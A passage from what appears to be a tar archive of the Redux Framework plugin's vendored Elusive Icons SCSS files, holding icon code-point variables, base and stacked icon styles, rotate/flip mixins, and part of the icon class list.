$el-var-friendfeed-rect: "\f16e"; $el-var-fullscreen: "\f170"; $el-var-gallery: "\f171"; $el-var-gbp: "\f172"; $el-var-gift: "\f173"; $el-var-github: "\f175"; $el-var-github-text: "\f174"; $el-var-glass: "\f176"; $el-var-glasses: "\f177"; $el-var-globe: "\f179"; $el-var-globe-alt: "\f178"; $el-var-googleplus: "\f17a"; $el-var-graph: "\f17c"; $el-var-graph-alt: "\f17b"; $el-var-group: "\f17e"; $el-var-group-alt: "\f17d"; $el-var-guidedog: "\f17f"; $el-var-hand-down: "\f180"; $el-var-hand-left: "\f181"; $el-var-hand-right: "\f182"; $el-var-hand-up: "\f183"; $el-var-hdd: "\f184"; $el-var-headphones: "\f185"; $el-var-hearing-impaired: "\f186"; $el-var-heart: "\f189"; $el-var-heart-alt: "\f187"; $el-var-heart-empty: "\f188"; $el-var-home: "\f18b"; $el-var-home-alt: "\f18a"; $el-var-hourglass: "\f18c"; $el-var-idea: "\f18e"; $el-var-idea-alt: "\f18d"; $el-var-inbox: "\f191"; $el-var-inbox-alt: "\f18f"; $el-var-inbox-box: "\f190"; $el-var-indent-left: "\f192"; $el-var-indent-right: "\f193"; $el-var-info-circle: "\f194"; $el-var-instagram: "\f195"; $el-var-iphone-home: "\f196"; $el-var-italic: "\f197"; $el-var-key: "\f198"; $el-var-laptop: "\f19a"; $el-var-laptop-alt: "\f199"; $el-var-lastfm: "\f19b"; $el-var-leaf: "\f19c"; $el-var-lines: "\f19d"; $el-var-link: "\f19e"; $el-var-linkedin: "\f19f"; $el-var-list: "\f1a1"; $el-var-list-alt: "\f1a0"; $el-var-livejournal: "\f1a2"; $el-var-lock: "\f1a4"; $el-var-lock-alt: "\f1a3"; $el-var-magic: "\f1a5"; $el-var-magnet: "\f1a6"; $el-var-male: "\f1a7"; $el-var-map-marker: "\f1a9"; $el-var-map-marker-alt: "\f1a8"; $el-var-mic: "\f1ab"; $el-var-mic-alt: "\f1aa"; $el-var-minus: "\f1ad"; $el-var-minus-sign: "\f1ac"; $el-var-move: "\f1ae"; $el-var-music: "\f1af"; $el-var-myspace: "\f1b0"; $el-var-network: "\f1b1"; $el-var-off: "\f1b2"; $el-var-ok: "\f1b5"; $el-var-ok-circle: "\f1b3"; $el-var-ok-sign: "\f1b4"; $el-var-opensource: "\f1b6"; $el-var-paper-clip: "\f1b8"; $el-var-paper-clip-alt: "\f1b7"; $el-var-path: "\f1b9"; $el-var-pause: "\f1bb"; $el-var-pause-alt: "\f1ba"; $el-var-pencil: "\f1bd"; $el-var-pencil-alt: "\f1bc"; $el-var-person: "\f1be"; $el-var-phone: "\f1c0"; $el-var-phone-alt: "\f1bf"; $el-var-photo: "\f1c2"; $el-var-photo-alt: "\f1c1"; $el-var-picasa: "\f1c3"; $el-var-picture: "\f1c4"; $el-var-plane: "\f1c5"; $el-var-play: "\f1c8"; $el-var-play-alt: "\f1c6"; $el-var-play-circle: "\f1c7"; $el-var-plurk: "\f1ca"; $el-var-plurk-alt: "\f1c9"; $el-var-plus: "\f1cc"; $el-var-plus-sign: "\f1cb"; $el-var-podcast: "\f1cd"; $el-var-print: "\f1ce"; $el-var-puzzle: "\f1cf"; $el-var-qrcode: "\f1d0"; $el-var-question: "\f1d2"; $el-var-question-sign: "\f1d1"; $el-var-quote-alt: "\f1d3"; $el-var-quote-right: "\f1d5"; $el-var-quote-right-alt: "\f1d4"; $el-var-quotes: "\f1d6"; $el-var-random: "\f1d7"; $el-var-record: "\f1d8"; $el-var-reddit: "\f1d9"; $el-var-redux: "\f1da"; $el-var-refresh: "\f1db"; $el-var-remove: "\f1de"; $el-var-remove-circle: "\f1dc"; $el-var-remove-sign: "\f1dd"; $el-var-repeat: "\f1e0"; $el-var-repeat-alt: "\f1df"; $el-var-resize-full: "\f1e1"; $el-var-resize-horizontal: "\f1e2"; $el-var-resize-small: "\f1e3"; $el-var-resize-vertical: "\f1e4"; $el-var-return-key: "\f1e5"; $el-var-retweet: "\f1e6"; $el-var-reverse-alt: "\f1e7"; $el-var-road: "\f1e8"; $el-var-rss: "\f1e9"; $el-var-scissors: "\f1ea"; $el-var-screen: "\f1ec"; $el-var-screen-alt: "\f1eb"; $el-var-screenshot: "\f1ed"; $el-var-search: "\f1ef"; $el-var-search-alt: "\f1ee"; $el-var-share: "\f1f1"; $el-var-share-alt: "\f1f0"; $el-var-shopping-cart: "\f1f3"; $el-var-shopping-cart-sign: "\f1f2"; $el-var-shortcode: "\f1f4"; $el-var-signal: "\f1f5"; $el-var-skype: "\f1f6"; $el-var-slideshare: "\f1f7"; $el-var-smiley: "\f1f9"; $el-var-smiley-alt: "\f1f8"; $el-var-soundcloud: "\f1fa"; $el-var-speaker: "\f1fb"; $el-var-spotify: "\f1fc"; $el-var-stackoverflow: "\f1fd"; $el-var-star: "\f200"; $el-var-star-alt: "\f1fe"; $el-var-star-empty: "\f1ff"; $el-var-step-backward: "\f201"; $el-var-step-forward: "\f202"; $el-var-stop: "\f204"; $el-var-stop-alt: "\f203"; $el-var-stumbleupon: "\f205"; $el-var-tag: "\f206"; $el-var-tags: "\f207"; $el-var-tasks: "\f208"; $el-var-text-height: "\f209"; $el-var-text-width: "\f20a"; $el-var-th: "\f20d"; $el-var-th-large: "\f20b"; $el-var-th-list: "\f20c"; $el-var-thumbs-down: "\f20e"; $el-var-thumbs-up: "\f20f"; $el-var-time: "\f211"; $el-var-time-alt: "\f210"; $el-var-tint: "\f212"; $el-var-torso: "\f213"; $el-var-trash: "\f215"; $el-var-trash-alt: "\f214"; $el-var-tumblr: "\f216"; $el-var-twitter: "\f217"; $el-var-universal-access: "\f218"; $el-var-unlock: "\f21a"; $el-var-unlock-alt: "\f219"; $el-var-upload: "\f21b"; $el-var-usd: "\f21c"; $el-var-user: "\f21d"; $el-var-viadeo: "\f21e"; $el-var-video: "\f221"; $el-var-video-alt: "\f21f"; $el-var-video-chat: "\f220"; $el-var-view-mode: "\f222"; $el-var-vimeo: "\f223"; $el-var-vkontakte: "\f224"; $el-var-volume-down: "\f225"; $el-var-volume-off: "\f226"; $el-var-volume-up: "\f227"; $el-var-w3c: "\f228"; $el-var-warning-sign: "\f229"; $el-var-website: "\f22b"; $el-var-website-alt: "\f22a"; $el-var-wheelchair: "\f22c"; $el-var-wordpress: "\f22d"; $el-var-wrench: "\f22f"; $el-var-wrench-alt: "\f22e"; $el-var-youtube: "\f230"; $el-var-zoom-in: "\f231"; $el-var-zoom-out: "\f232"; lib/redux-framework/assets/css/vendor/elusive-icons/scss/_core.scss000064400000001005147206624460021556 0ustar00// Base Class Definition // ------------------------- .#{$el-css-prefix} { display: inline-block; font: normal normal normal #{$el-font-size-base}/1 'Elusive-Icons'; // shortening font declaration font-size: inherit; // can't have font-size inherit on line above, so need to override text-rendering: auto; // optimizelegibility throws things off #1094 -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; transform: translate(0, 0); // ensures no half-pixel rendering in firefox } lib/redux-framework/assets/css/vendor/elusive-icons/scss/_bordered-pulled.scss000064400000000514147206624460023703 0ustar00// Bordered & Pulled // ------------------------- .#{$el-css-prefix}-border { padding: .2em .25em .15em; border: solid .08em $el-border-color; border-radius: .1em; } .pull-right { float: right; } .pull-left { float: left; } .#{$el-css-prefix} { &.pull-left { margin-right: .3em; } &.pull-right { margin-left: .3em; } } lib/redux-framework/assets/css/vendor/elusive-icons/scss/_stacked.scss000064400000000742147206624460022253 0ustar00// Stacked Icons // ------------------------- .#{$el-css-prefix}-stack { position: relative; display: inline-block; width: 2em; height: 2em; line-height: 2em; vertical-align: middle; } .#{$el-css-prefix}-stack-1x, .#{$el-css-prefix}-stack-2x { position: absolute; left: 0; width: 100%; text-align: center; } .#{$el-css-prefix}-stack-1x { line-height: inherit; } .#{$el-css-prefix}-stack-2x { font-size: 2em; } .#{$el-css-prefix}-inverse { color: $el-inverse; } lib/redux-framework/assets/css/vendor/elusive-icons/scss/_mixins.scss000064400000001754147206624460022150 0ustar00// Mixins // -------------------------- @mixin el-icon() { display: inline-block; font: normal normal normal #{$el-font-size-base}/1 'Elusive-Icons'; // shortening font declaration font-size: inherit; // can't have font-size inherit on line above, so need to override text-rendering: auto; // optimizelegibility throws things off #1094 -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; transform: translate(0, 0); // ensures no half-pixel rendering in firefox } @mixin el-icon-rotate($degrees, $rotation) { filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=#{$rotation}); -webkit-transform: rotate($degrees); -ms-transform: rotate($degrees); transform: rotate($degrees); } @mixin el-icon-flip($horiz, $vert, $rotation) { filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=#{$rotation}); -webkit-transform: scale($horiz, $vert); -ms-transform: scale($horiz, $vert); transform: scale($horiz, $vert); } lib/redux-framework/assets/css/vendor/elusive-icons/scss/_icons.scss000064400000100246147206624460021750 0ustar00/* Elusive Icons uses the Unicode Private Use Area (PUA) to ensure screen readers do not read off random characters that represent icons */ .#{$el-css-prefix}-icon-address-book-alt:before, .#{$el-css-prefix}-address-book-alt:before { content: $el-var-address-book-alt; } .#{$el-css-prefix}-icon-address-book:before, .#{$el-css-prefix}-address-book:before { content: $el-var-address-book; } .#{$el-css-prefix}-icon-adjust-alt:before, .#{$el-css-prefix}-adjust-alt:before { content: $el-var-adjust-alt; } .#{$el-css-prefix}-icon-adjust:before, .#{$el-css-prefix}-adjust:before { content: $el-var-adjust; } .#{$el-css-prefix}-icon-adult:before, .#{$el-css-prefix}-adult:before { content: $el-var-adult; } .#{$el-css-prefix}-icon-align-center:before, .#{$el-css-prefix}-align-center:before { content: $el-var-align-center; } .#{$el-css-prefix}-icon-align-justify:before, .#{$el-css-prefix}-align-justify:before { content: $el-var-align-justify; } .#{$el-css-prefix}-icon-align-left:before, .#{$el-css-prefix}-align-left:before { content: $el-var-align-left; } .#{$el-css-prefix}-icon-align-right:before, .#{$el-css-prefix}-align-right:before { content: $el-var-align-right; } .#{$el-css-prefix}-icon-arrow-down:before, .#{$el-css-prefix}-arrow-down:before { content: $el-var-arrow-down; } .#{$el-css-prefix}-icon-arrow-left:before, .#{$el-css-prefix}-arrow-left:before { content: $el-var-arrow-left; } .#{$el-css-prefix}-icon-arrow-right:before, .#{$el-css-prefix}-arrow-right:before { content: $el-var-arrow-right; } .#{$el-css-prefix}-icon-arrow-up:before, .#{$el-css-prefix}-arrow-up:before { content: $el-var-arrow-up; } .#{$el-css-prefix}-icon-asl:before, .#{$el-css-prefix}-asl:before { content: $el-var-asl; } .#{$el-css-prefix}-icon-asterisk:before, .#{$el-css-prefix}-asterisk:before { content: $el-var-asterisk; } .#{$el-css-prefix}-icon-backward:before, .#{$el-css-prefix}-backward:before { content: $el-var-backward; } .#{$el-css-prefix}-icon-ban-circle:before, .#{$el-css-prefix}-ban-circle:before { content: $el-var-ban-circle; } .#{$el-css-prefix}-icon-barcode:before, .#{$el-css-prefix}-barcode:before { content: $el-var-barcode; } .#{$el-css-prefix}-icon-behance:before, .#{$el-css-prefix}-behance:before { content: $el-var-behance; } .#{$el-css-prefix}-icon-bell:before, .#{$el-css-prefix}-bell:before { content: $el-var-bell; } .#{$el-css-prefix}-icon-blind:before, .#{$el-css-prefix}-blind:before { content: $el-var-blind; } .#{$el-css-prefix}-icon-blogger:before, .#{$el-css-prefix}-blogger:before { content: $el-var-blogger; } .#{$el-css-prefix}-icon-bold:before, .#{$el-css-prefix}-bold:before { content: $el-var-bold; } .#{$el-css-prefix}-icon-book:before, .#{$el-css-prefix}-book:before { content: $el-var-book; } .#{$el-css-prefix}-icon-bookmark-empty:before, .#{$el-css-prefix}-bookmark-empty:before { content: $el-var-bookmark-empty; } .#{$el-css-prefix}-icon-bookmark:before, .#{$el-css-prefix}-bookmark:before { content: $el-var-bookmark; } .#{$el-css-prefix}-icon-brackets:before, .#{$el-css-prefix}-brackets:before { content: $el-var-brackets; } .#{$el-css-prefix}-icon-braille:before, .#{$el-css-prefix}-braille:before { content: $el-var-braille; } .#{$el-css-prefix}-icon-briefcase:before, .#{$el-css-prefix}-briefcase:before { content: $el-var-briefcase; } .#{$el-css-prefix}-icon-broom:before, .#{$el-css-prefix}-broom:before { content: $el-var-broom; } .#{$el-css-prefix}-icon-brush:before, .#{$el-css-prefix}-brush:before { content: $el-var-brush; } .#{$el-css-prefix}-icon-bulb:before, .#{$el-css-prefix}-bulb:before { content: $el-var-bulb; } .#{$el-css-prefix}-icon-bullhorn:before, .#{$el-css-prefix}-bullhorn:before { content: $el-var-bullhorn; } .#{$el-css-prefix}-icon-calendar-sign:before, .#{$el-css-prefix}-calendar-sign:before { content: $el-var-calendar-sign; } .#{$el-css-prefix}-icon-calendar:before, .#{$el-css-prefix}-calendar:before { content: $el-var-calendar; } .#{$el-css-prefix}-icon-camera:before, .#{$el-css-prefix}-camera:before { content: $el-var-camera; } .#{$el-css-prefix}-icon-car:before, .#{$el-css-prefix}-car:before { content: $el-var-car; } .#{$el-css-prefix}-icon-caret-down:before, .#{$el-css-prefix}-caret-down:before { content: $el-var-caret-down; } .#{$el-css-prefix}-icon-caret-left:before, .#{$el-css-prefix}-caret-left:before { content: $el-var-caret-left; } .#{$el-css-prefix}-icon-caret-right:before, .#{$el-css-prefix}-caret-right:before { content: $el-var-caret-right; } .#{$el-css-prefix}-icon-caret-up:before, .#{$el-css-prefix}-caret-up:before { content: $el-var-caret-up; } .#{$el-css-prefix}-icon-cc:before, .#{$el-css-prefix}-cc:before { content: $el-var-cc; } .#{$el-css-prefix}-icon-certificate:before, .#{$el-css-prefix}-certificate:before { content: $el-var-certificate; } .#{$el-css-prefix}-icon-check-empty:before, .#{$el-css-prefix}-check-empty:before { content: $el-var-check-empty; } .#{$el-css-prefix}-icon-check:before, .#{$el-css-prefix}-check:before { content: $el-var-check; } .#{$el-css-prefix}-icon-chevron-down:before, .#{$el-css-prefix}-chevron-down:before { content: $el-var-chevron-down; } .#{$el-css-prefix}-icon-chevron-left:before, .#{$el-css-prefix}-chevron-left:before { content: $el-var-chevron-left; } .#{$el-css-prefix}-icon-chevron-right:before, .#{$el-css-prefix}-chevron-right:before { content: $el-var-chevron-right; } .#{$el-css-prefix}-icon-chevron-up:before, .#{$el-css-prefix}-chevron-up:before { content: $el-var-chevron-up; } .#{$el-css-prefix}-icon-child:before, .#{$el-css-prefix}-child:before { content: $el-var-child; } .#{$el-css-prefix}-icon-circle-arrow-down:before, .#{$el-css-prefix}-circle-arrow-down:before { content: $el-var-circle-arrow-down; } .#{$el-css-prefix}-icon-circle-arrow-left:before, .#{$el-css-prefix}-circle-arrow-left:before { content: $el-var-circle-arrow-left; } .#{$el-css-prefix}-icon-circle-arrow-right:before, .#{$el-css-prefix}-circle-arrow-right:before { content: $el-var-circle-arrow-right; } .#{$el-css-prefix}-icon-circle-arrow-up:before, .#{$el-css-prefix}-circle-arrow-up:before { content: $el-var-circle-arrow-up; } .#{$el-css-prefix}-icon-cloud-alt:before, .#{$el-css-prefix}-cloud-alt:before { content: $el-var-cloud-alt; } .#{$el-css-prefix}-icon-cloud:before, .#{$el-css-prefix}-cloud:before { content: $el-var-cloud; } .#{$el-css-prefix}-icon-cog-alt:before, .#{$el-css-prefix}-cog-alt:before { content: $el-var-cog-alt; } .#{$el-css-prefix}-icon-cog:before, .#{$el-css-prefix}-cog:before { content: $el-var-cog; } .#{$el-css-prefix}-icon-cogs:before, .#{$el-css-prefix}-cogs:before { content: $el-var-cogs; } .#{$el-css-prefix}-icon-comment-alt:before, .#{$el-css-prefix}-comment-alt:before { content: $el-var-comment-alt; } .#{$el-css-prefix}-icon-comment:before, .#{$el-css-prefix}-comment:before { content: $el-var-comment; } .#{$el-css-prefix}-icon-compass-alt:before, .#{$el-css-prefix}-compass-alt:before { content: $el-var-compass-alt; } .#{$el-css-prefix}-icon-compass:before, .#{$el-css-prefix}-compass:before { content: $el-var-compass; } .#{$el-css-prefix}-icon-credit-card:before, .#{$el-css-prefix}-credit-card:before { content: $el-var-credit-card; } .#{$el-css-prefix}-icon-css:before, .#{$el-css-prefix}-css:before { content: $el-var-css; } .#{$el-css-prefix}-icon-dashboard:before, .#{$el-css-prefix}-dashboard:before { content: $el-var-dashboard; } .#{$el-css-prefix}-icon-delicious:before, .#{$el-css-prefix}-delicious:before { content: $el-var-delicious; } .#{$el-css-prefix}-icon-deviantart:before, .#{$el-css-prefix}-deviantart:before { content: $el-var-deviantart; } .#{$el-css-prefix}-icon-digg:before, .#{$el-css-prefix}-digg:before { content: $el-var-digg; } .#{$el-css-prefix}-icon-download-alt:before, .#{$el-css-prefix}-download-alt:before { content: $el-var-download-alt; } .#{$el-css-prefix}-icon-download:before, .#{$el-css-prefix}-download:before { content: $el-var-download; } .#{$el-css-prefix}-icon-dribbble:before, .#{$el-css-prefix}-dribbble:before { content: $el-var-dribbble; } .#{$el-css-prefix}-icon-edit:before, .#{$el-css-prefix}-edit:before { content: $el-var-edit; } .#{$el-css-prefix}-icon-eject:before, .#{$el-css-prefix}-eject:before { content: $el-var-eject; } .#{$el-css-prefix}-icon-envelope-alt:before, .#{$el-css-prefix}-envelope-alt:before { content: $el-var-envelope-alt; } .#{$el-css-prefix}-icon-envelope:before, .#{$el-css-prefix}-envelope:before { content: $el-var-envelope; } .#{$el-css-prefix}-icon-error-alt:before, .#{$el-css-prefix}-error-alt:before { content: $el-var-error-alt; } .#{$el-css-prefix}-icon-error:before, .#{$el-css-prefix}-error:before { content: $el-var-error; } .#{$el-css-prefix}-icon-eur:before, .#{$el-css-prefix}-eur:before { content: $el-var-eur; } .#{$el-css-prefix}-icon-exclamation-sign:before, .#{$el-css-prefix}-exclamation-sign:before { content: $el-var-exclamation-sign; } .#{$el-css-prefix}-icon-eye-close:before, .#{$el-css-prefix}-eye-close:before { content: $el-var-eye-close; } .#{$el-css-prefix}-icon-eye-open:before, .#{$el-css-prefix}-eye-open:before { content: $el-var-eye-open; } .#{$el-css-prefix}-icon-facebook:before, .#{$el-css-prefix}-facebook:before { content: $el-var-facebook; } .#{$el-css-prefix}-icon-facetime-video:before, .#{$el-css-prefix}-facetime-video:before { content: $el-var-facetime-video; } .#{$el-css-prefix}-icon-fast-backward:before, .#{$el-css-prefix}-fast-backward:before { content: $el-var-fast-backward; } .#{$el-css-prefix}-icon-fast-forward:before, .#{$el-css-prefix}-fast-forward:before { content: $el-var-fast-forward; } .#{$el-css-prefix}-icon-female:before, .#{$el-css-prefix}-female:before { content: $el-var-female; } .#{$el-css-prefix}-icon-file-alt:before, .#{$el-css-prefix}-file-alt:before { content: $el-var-file-alt; } .#{$el-css-prefix}-icon-file-edit-alt:before, .#{$el-css-prefix}-file-edit-alt:before { content: $el-var-file-edit-alt; } .#{$el-css-prefix}-icon-file-edit:before, .#{$el-css-prefix}-file-edit:before { content: $el-var-file-edit; } .#{$el-css-prefix}-icon-file-new-alt:before, .#{$el-css-prefix}-file-new-alt:before { content: $el-var-file-new-alt; } .#{$el-css-prefix}-icon-file-new:before, .#{$el-css-prefix}-file-new:before { content: $el-var-file-new; } .#{$el-css-prefix}-icon-file:before, .#{$el-css-prefix}-file:before { content: $el-var-file; } .#{$el-css-prefix}-icon-film:before, .#{$el-css-prefix}-film:before { content: $el-var-film; } .#{$el-css-prefix}-icon-filter:before, .#{$el-css-prefix}-filter:before { content: $el-var-filter; } .#{$el-css-prefix}-icon-fire:before, .#{$el-css-prefix}-fire:before { content: $el-var-fire; } .#{$el-css-prefix}-icon-flag-alt:before, .#{$el-css-prefix}-flag-alt:before { content: $el-var-flag-alt; } .#{$el-css-prefix}-icon-flag:before, .#{$el-css-prefix}-flag:before { content: $el-var-flag; } .#{$el-css-prefix}-icon-flickr:before, .#{$el-css-prefix}-flickr:before { content: $el-var-flickr; } .#{$el-css-prefix}-icon-folder-close:before, .#{$el-css-prefix}-folder-close:before { content: $el-var-folder-close; } .#{$el-css-prefix}-icon-folder-open:before, .#{$el-css-prefix}-folder-open:before { content: $el-var-folder-open; } .#{$el-css-prefix}-icon-folder-sign:before, .#{$el-css-prefix}-folder-sign:before { content: $el-var-folder-sign; } .#{$el-css-prefix}-icon-folder:before, .#{$el-css-prefix}-folder:before { content: $el-var-folder; } .#{$el-css-prefix}-icon-font:before, .#{$el-css-prefix}-font:before { content: $el-var-font; } .#{$el-css-prefix}-icon-fontsize:before, .#{$el-css-prefix}-fontsize:before { content: $el-var-fontsize; } .#{$el-css-prefix}-icon-fork:before, .#{$el-css-prefix}-fork:before { content: $el-var-fork; } .#{$el-css-prefix}-icon-forward-alt:before, .#{$el-css-prefix}-forward-alt:before { content: $el-var-forward-alt; } .#{$el-css-prefix}-icon-forward:before, .#{$el-css-prefix}-forward:before { content: $el-var-forward; } .#{$el-css-prefix}-icon-foursquare:before, .#{$el-css-prefix}-foursquare:before { content: $el-var-foursquare; } .#{$el-css-prefix}-icon-friendfeed-rect:before, .#{$el-css-prefix}-friendfeed-rect:before { content: $el-var-friendfeed-rect; } .#{$el-css-prefix}-icon-friendfeed:before, .#{$el-css-prefix}-friendfeed:before { content: $el-var-friendfeed; } .#{$el-css-prefix}-icon-fullscreen:before, .#{$el-css-prefix}-fullscreen:before { content: $el-var-fullscreen; } .#{$el-css-prefix}-icon-gallery:before, .#{$el-css-prefix}-gallery:before { content: $el-var-gallery; } .#{$el-css-prefix}-icon-gbp:before, .#{$el-css-prefix}-gbp:before { content: $el-var-gbp; } .#{$el-css-prefix}-icon-gift:before, .#{$el-css-prefix}-gift:before { content: $el-var-gift; } .#{$el-css-prefix}-icon-github-text:before, .#{$el-css-prefix}-github-text:before { content: $el-var-github-text; } .#{$el-css-prefix}-icon-github:before, .#{$el-css-prefix}-github:before { content: $el-var-github; } .#{$el-css-prefix}-icon-glass:before, .#{$el-css-prefix}-glass:before { content: $el-var-glass; } .#{$el-css-prefix}-icon-glasses:before, .#{$el-css-prefix}-glasses:before { content: $el-var-glasses; } .#{$el-css-prefix}-icon-globe-alt:before, .#{$el-css-prefix}-globe-alt:before { content: $el-var-globe-alt; } .#{$el-css-prefix}-icon-globe:before, .#{$el-css-prefix}-globe:before { content: $el-var-globe; } .#{$el-css-prefix}-icon-googleplus:before, .#{$el-css-prefix}-googleplus:before { content: $el-var-googleplus; } .#{$el-css-prefix}-icon-graph-alt:before, .#{$el-css-prefix}-graph-alt:before { content: $el-var-graph-alt; } .#{$el-css-prefix}-icon-graph:before, .#{$el-css-prefix}-graph:before { content: $el-var-graph; } .#{$el-css-prefix}-icon-group-alt:before, .#{$el-css-prefix}-group-alt:before { content: $el-var-group-alt; } .#{$el-css-prefix}-icon-group:before, .#{$el-css-prefix}-group:before { content: $el-var-group; } .#{$el-css-prefix}-icon-guidedog:before, .#{$el-css-prefix}-guidedog:before { content: $el-var-guidedog; } .#{$el-css-prefix}-icon-hand-down:before, .#{$el-css-prefix}-hand-down:before { content: $el-var-hand-down; } .#{$el-css-prefix}-icon-hand-left:before, .#{$el-css-prefix}-hand-left:before { content: $el-var-hand-left; } .#{$el-css-prefix}-icon-hand-right:before, .#{$el-css-prefix}-hand-right:before { content: $el-var-hand-right; } .#{$el-css-prefix}-icon-hand-up:before, .#{$el-css-prefix}-hand-up:before { content: $el-var-hand-up; } .#{$el-css-prefix}-icon-hdd:before, .#{$el-css-prefix}-hdd:before { content: $el-var-hdd; } .#{$el-css-prefix}-icon-headphones:before, .#{$el-css-prefix}-headphones:before { content: $el-var-headphones; } .#{$el-css-prefix}-icon-hearing-impaired:before, .#{$el-css-prefix}-hearing-impaired:before { content: $el-var-hearing-impaired; } .#{$el-css-prefix}-icon-heart-alt:before, .#{$el-css-prefix}-heart-alt:before { content: $el-var-heart-alt; } .#{$el-css-prefix}-icon-heart-empty:before, .#{$el-css-prefix}-heart-empty:before { content: $el-var-heart-empty; } .#{$el-css-prefix}-icon-heart:before, .#{$el-css-prefix}-heart:before { content: $el-var-heart; } .#{$el-css-prefix}-icon-home-alt:before, .#{$el-css-prefix}-home-alt:before { content: $el-var-home-alt; } .#{$el-css-prefix}-icon-home:before, .#{$el-css-prefix}-home:before { content: $el-var-home; } .#{$el-css-prefix}-icon-hourglass:before, .#{$el-css-prefix}-hourglass:before { content: $el-var-hourglass; } .#{$el-css-prefix}-icon-idea-alt:before, .#{$el-css-prefix}-idea-alt:before { content: $el-var-idea-alt; } .#{$el-css-prefix}-icon-idea:before, .#{$el-css-prefix}-idea:before { content: $el-var-idea; } .#{$el-css-prefix}-icon-inbox-alt:before, .#{$el-css-prefix}-inbox-alt:before { content: $el-var-inbox-alt; } .#{$el-css-prefix}-icon-inbox-box:before, .#{$el-css-prefix}-inbox-box:before { content: $el-var-inbox-box; } .#{$el-css-prefix}-icon-inbox:before, .#{$el-css-prefix}-inbox:before { content: $el-var-inbox; } .#{$el-css-prefix}-icon-indent-left:before, .#{$el-css-prefix}-indent-left:before { content: $el-var-indent-left; } .#{$el-css-prefix}-icon-indent-right:before, .#{$el-css-prefix}-indent-right:before { content: $el-var-indent-right; } .#{$el-css-prefix}-icon-info-circle:before, .#{$el-css-prefix}-info-circle:before { content: $el-var-info-circle; } .#{$el-css-prefix}-icon-instagram:before, .#{$el-css-prefix}-instagram:before { content: $el-var-instagram; } .#{$el-css-prefix}-icon-iphone-home:before, .#{$el-css-prefix}-iphone-home:before { content: $el-var-iphone-home; } .#{$el-css-prefix}-icon-italic:before, .#{$el-css-prefix}-italic:before { content: $el-var-italic; } .#{$el-css-prefix}-icon-key:before, .#{$el-css-prefix}-key:before { content: $el-var-key; } .#{$el-css-prefix}-icon-laptop-alt:before, .#{$el-css-prefix}-laptop-alt:before { content: $el-var-laptop-alt; } .#{$el-css-prefix}-icon-laptop:before, .#{$el-css-prefix}-laptop:before { content: $el-var-laptop; } .#{$el-css-prefix}-icon-lastfm:before, .#{$el-css-prefix}-lastfm:before { content: $el-var-lastfm; } .#{$el-css-prefix}-icon-leaf:before, .#{$el-css-prefix}-leaf:before { content: $el-var-leaf; } .#{$el-css-prefix}-icon-lines:before, .#{$el-css-prefix}-lines:before { content: $el-var-lines; } .#{$el-css-prefix}-icon-link:before, .#{$el-css-prefix}-link:before { content: $el-var-link; } .#{$el-css-prefix}-icon-linkedin:before, .#{$el-css-prefix}-linkedin:before { content: $el-var-linkedin; } .#{$el-css-prefix}-icon-list-alt:before, .#{$el-css-prefix}-list-alt:before { content: $el-var-list-alt; } .#{$el-css-prefix}-icon-list:before, .#{$el-css-prefix}-list:before { content: $el-var-list; } .#{$el-css-prefix}-icon-livejournal:before, .#{$el-css-prefix}-livejournal:before { content: $el-var-livejournal; } .#{$el-css-prefix}-icon-lock-alt:before, .#{$el-css-prefix}-lock-alt:before { content: $el-var-lock-alt; } .#{$el-css-prefix}-icon-lock:before, .#{$el-css-prefix}-lock:before { content: $el-var-lock; } .#{$el-css-prefix}-icon-magic:before, .#{$el-css-prefix}-magic:before { content: $el-var-magic; } .#{$el-css-prefix}-icon-magnet:before, .#{$el-css-prefix}-magnet:before { content: $el-var-magnet; } .#{$el-css-prefix}-icon-male:before, .#{$el-css-prefix}-male:before { content: $el-var-male; } .#{$el-css-prefix}-icon-map-marker-alt:before, .#{$el-css-prefix}-map-marker-alt:before { content: $el-var-map-marker-alt; } .#{$el-css-prefix}-icon-map-marker:before, .#{$el-css-prefix}-map-marker:before { content: $el-var-map-marker; } .#{$el-css-prefix}-icon-mic-alt:before, .#{$el-css-prefix}-mic-alt:before { content: $el-var-mic-alt; } .#{$el-css-prefix}-icon-mic:before, .#{$el-css-prefix}-mic:before { content: $el-var-mic; } .#{$el-css-prefix}-icon-minus-sign:before, .#{$el-css-prefix}-minus-sign:before { content: $el-var-minus-sign; } .#{$el-css-prefix}-icon-minus:before, .#{$el-css-prefix}-minus:before { content: $el-var-minus; } .#{$el-css-prefix}-icon-move:before, .#{$el-css-prefix}-move:before { content: $el-var-move; } .#{$el-css-prefix}-icon-music:before, .#{$el-css-prefix}-music:before { content: $el-var-music; } .#{$el-css-prefix}-icon-myspace:before, .#{$el-css-prefix}-myspace:before { content: $el-var-myspace; } .#{$el-css-prefix}-icon-network:before, .#{$el-css-prefix}-network:before { content: $el-var-network; } .#{$el-css-prefix}-icon-off:before, .#{$el-css-prefix}-off:before { content: $el-var-off; } .#{$el-css-prefix}-icon-ok-circle:before, .#{$el-css-prefix}-ok-circle:before { content: $el-var-ok-circle; } .#{$el-css-prefix}-icon-ok-sign:before, .#{$el-css-prefix}-ok-sign:before { content: $el-var-ok-sign; } .#{$el-css-prefix}-icon-ok:before, .#{$el-css-prefix}-ok:before { content: $el-var-ok; } .#{$el-css-prefix}-icon-opensource:before, .#{$el-css-prefix}-opensource:before { content: $el-var-opensource; } .#{$el-css-prefix}-icon-paper-clip-alt:before, .#{$el-css-prefix}-paper-clip-alt:before { content: $el-var-paper-clip-alt; } .#{$el-css-prefix}-icon-paper-clip:before, .#{$el-css-prefix}-paper-clip:before { content: $el-var-paper-clip; } .#{$el-css-prefix}-icon-path:before, .#{$el-css-prefix}-path:before { content: $el-var-path; } .#{$el-css-prefix}-icon-pause-alt:before, .#{$el-css-prefix}-pause-alt:before { content: $el-var-pause-alt; } .#{$el-css-prefix}-icon-pause:before, .#{$el-css-prefix}-pause:before { content: $el-var-pause; } .#{$el-css-prefix}-icon-pencil-alt:before, .#{$el-css-prefix}-pencil-alt:before { content: $el-var-pencil-alt; } .#{$el-css-prefix}-icon-pencil:before, .#{$el-css-prefix}-pencil:before { content: $el-var-pencil; } .#{$el-css-prefix}-icon-person:before, .#{$el-css-prefix}-person:before { content: $el-var-person; } .#{$el-css-prefix}-icon-phone-alt:before, .#{$el-css-prefix}-phone-alt:before { content: $el-var-phone-alt; } .#{$el-css-prefix}-icon-phone:before, .#{$el-css-prefix}-phone:before { 